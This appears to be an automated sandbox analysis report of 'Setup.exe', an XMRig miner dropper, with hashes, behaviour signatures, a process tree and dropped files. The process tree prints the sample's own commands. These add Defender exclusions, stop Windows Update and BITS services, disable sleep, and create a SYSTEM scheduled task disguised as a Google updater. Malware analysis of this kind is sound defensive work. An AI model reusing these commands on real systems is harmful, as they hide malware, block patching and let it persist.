Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/07/2024, 12:37

General

  • Target

    Setup.exe

  • Size

    5.6MB

  • MD5

    fe3aade85026dd848fdf2f63952ff734

  • SHA1

    09d5fd71d993050b588cc79544a6bf243d6f8ab4

  • SHA256

    8345803c6780d770d0ea3df50d6c06d6b1113e7316b3d93dbea7e54a9fdcd58c

  • SHA512

    db089fde7d6806fa929e0ec2c48bfcb84c7e47d01ddf45380d3681d988947222d938e0d15a9cb3d69975262fcc1508582f58b4cf22dd891cfaf3f45e6afc0bb8

  • SSDEEP

    98304:ld+0JWUJGRDGQ8kIsmAYrvllcL0QH3YRjdT3i14b60n70p7hr/Bazr3AT:lQRV2lkeBxV7E7hr/BUTA

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Power Settings 1 TTPs 10 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3540
      • C:\Users\Admin\AppData\Local\Temp\Setup.exe
        "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Drivers directory
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:944
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3488
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:2840
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:5100
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:3192
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:4372
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:1424
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of WriteProcessMemory
        PID:2404
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          3⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3616
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          3⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1212
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          3⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1412
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          3⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lbjsmh#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3292
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
        2⤵
          PID:4688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2436
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4476
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:4612
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:4552
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:1636
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:4728
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:4044
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of WriteProcessMemory
          PID:2736
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-ac 0
            3⤵
            • Power Settings
            PID:4304
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-dc 0
            3⤵
            • Power Settings
            PID:4512
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-ac 0
            3⤵
            • Power Settings
            PID:2692
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-dc 0
            3⤵
            • Power Settings
            PID:3896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lbjsmh#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2424
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe
          2⤵
            PID:1712
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:712
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:60

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              • C:\Program Files\Google\Chrome\updater.exe

                Filesize

                5.6MB

                MD5

                fe3aade85026dd848fdf2f63952ff734

                SHA1

                09d5fd71d993050b588cc79544a6bf243d6f8ab4

                SHA256

                8345803c6780d770d0ea3df50d6c06d6b1113e7316b3d93dbea7e54a9fdcd58c

                SHA512

                db089fde7d6806fa929e0ec2c48bfcb84c7e47d01ddf45380d3681d988947222d938e0d15a9cb3d69975262fcc1508582f58b4cf22dd891cfaf3f45e6afc0bb8

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                77d622bb1a5b250869a3238b9bc1402b

                SHA1

                d47f4003c2554b9dfc4c16f22460b331886b191b

                SHA256

                f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                SHA512

                d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nhap5wah.gis.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Windows\System32\drivers\etc\hosts

                Filesize

                3KB

                MD5

                2d29fd3ae57f422e2b2121141dc82253

                SHA1

                c2464c857779c0ab4f5e766f5028fcc651a6c6b7

                SHA256

                80a60d7ec533d820de20bcedeb41319e7b1def548b6ea73ddbd69455bac4e7a4

                SHA512

                077a5c554663be7b71f181d961f5c98c732bc296dc015ffee30768a648bee3aad62c39c352cf2947432be19519906aeac7dfaf2557d309bb460732abb7fdbc68

              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                4KB

                MD5

                bdb25c22d14ec917e30faf353826c5de

                SHA1

                6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

                SHA256

                e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

                SHA512

                b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                b42c70c1dbf0d1d477ec86902db9e986

                SHA1

                1d1c0a670748b3d10bee8272e5d67a4fabefd31f

                SHA256

                8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

                SHA512

                57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

              • memory/60-33-0x00007FF6C5210000-0x00007FF6C57AF000-memory.dmp

                Filesize

                5.6MB

              • memory/60-91-0x00007FF6C5210000-0x00007FF6C57AF000-memory.dmp

                Filesize

                5.6MB

              • memory/372-0-0x00007FF66F8A0000-0x00007FF66FE3F000-memory.dmp

                Filesize

                5.6MB

              • memory/372-31-0x00007FF66F8A0000-0x00007FF66FE3F000-memory.dmp

                Filesize

                5.6MB

              • memory/712-98-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-92-0x0000000001A70000-0x0000000001A90000-memory.dmp

                Filesize

                128KB

              • memory/712-112-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-110-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-108-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-106-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-104-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-102-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-100-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-114-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-96-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/712-94-0x00007FF799550000-0x00007FF799D3F000-memory.dmp

                Filesize

                7.9MB

              • memory/944-13-0x00007FFB88410000-0x00007FFB88ED1000-memory.dmp

                Filesize

                10.8MB

              • memory/944-12-0x00007FFB88410000-0x00007FFB88ED1000-memory.dmp

                Filesize

                10.8MB

              • memory/944-11-0x000001DAFFA00000-0x000001DAFFA22000-memory.dmp

                Filesize

                136KB

              • memory/944-16-0x00007FFB88410000-0x00007FFB88ED1000-memory.dmp

                Filesize

                10.8MB

              • memory/944-1-0x00007FFB88413000-0x00007FFB88415000-memory.dmp

                Filesize

                8KB

              • memory/1712-97-0x00007FF6154F0000-0x00007FF61551A000-memory.dmp

                Filesize

                168KB

              • memory/1712-93-0x00007FF6154F0000-0x00007FF61551A000-memory.dmp

                Filesize

                168KB

              • memory/2424-85-0x000001EBE95A0000-0x000001EBE9655000-memory.dmp

                Filesize

                724KB

              • memory/2436-60-0x000002509D7F0000-0x000002509D7FA000-memory.dmp

                Filesize

                40KB

              • memory/2436-59-0x000002509D7E0000-0x000002509D7E6000-memory.dmp

                Filesize

                24KB

              • memory/2436-58-0x000002509D7B0000-0x000002509D7B8000-memory.dmp

                Filesize

                32KB

              • memory/2436-57-0x000002509D800000-0x000002509D81A000-memory.dmp

                Filesize

                104KB

              • memory/2436-56-0x000002509D7A0000-0x000002509D7AA000-memory.dmp

                Filesize

                40KB

              • memory/2436-55-0x000002509D7C0000-0x000002509D7DC000-memory.dmp

                Filesize

                112KB

              • memory/2436-54-0x000002509D650000-0x000002509D65A000-memory.dmp

                Filesize

                40KB

              • memory/2436-53-0x000002509D590000-0x000002509D645000-memory.dmp

                Filesize

                724KB

              • memory/2436-52-0x000002509D570000-0x000002509D58C000-memory.dmp

                Filesize

                112KB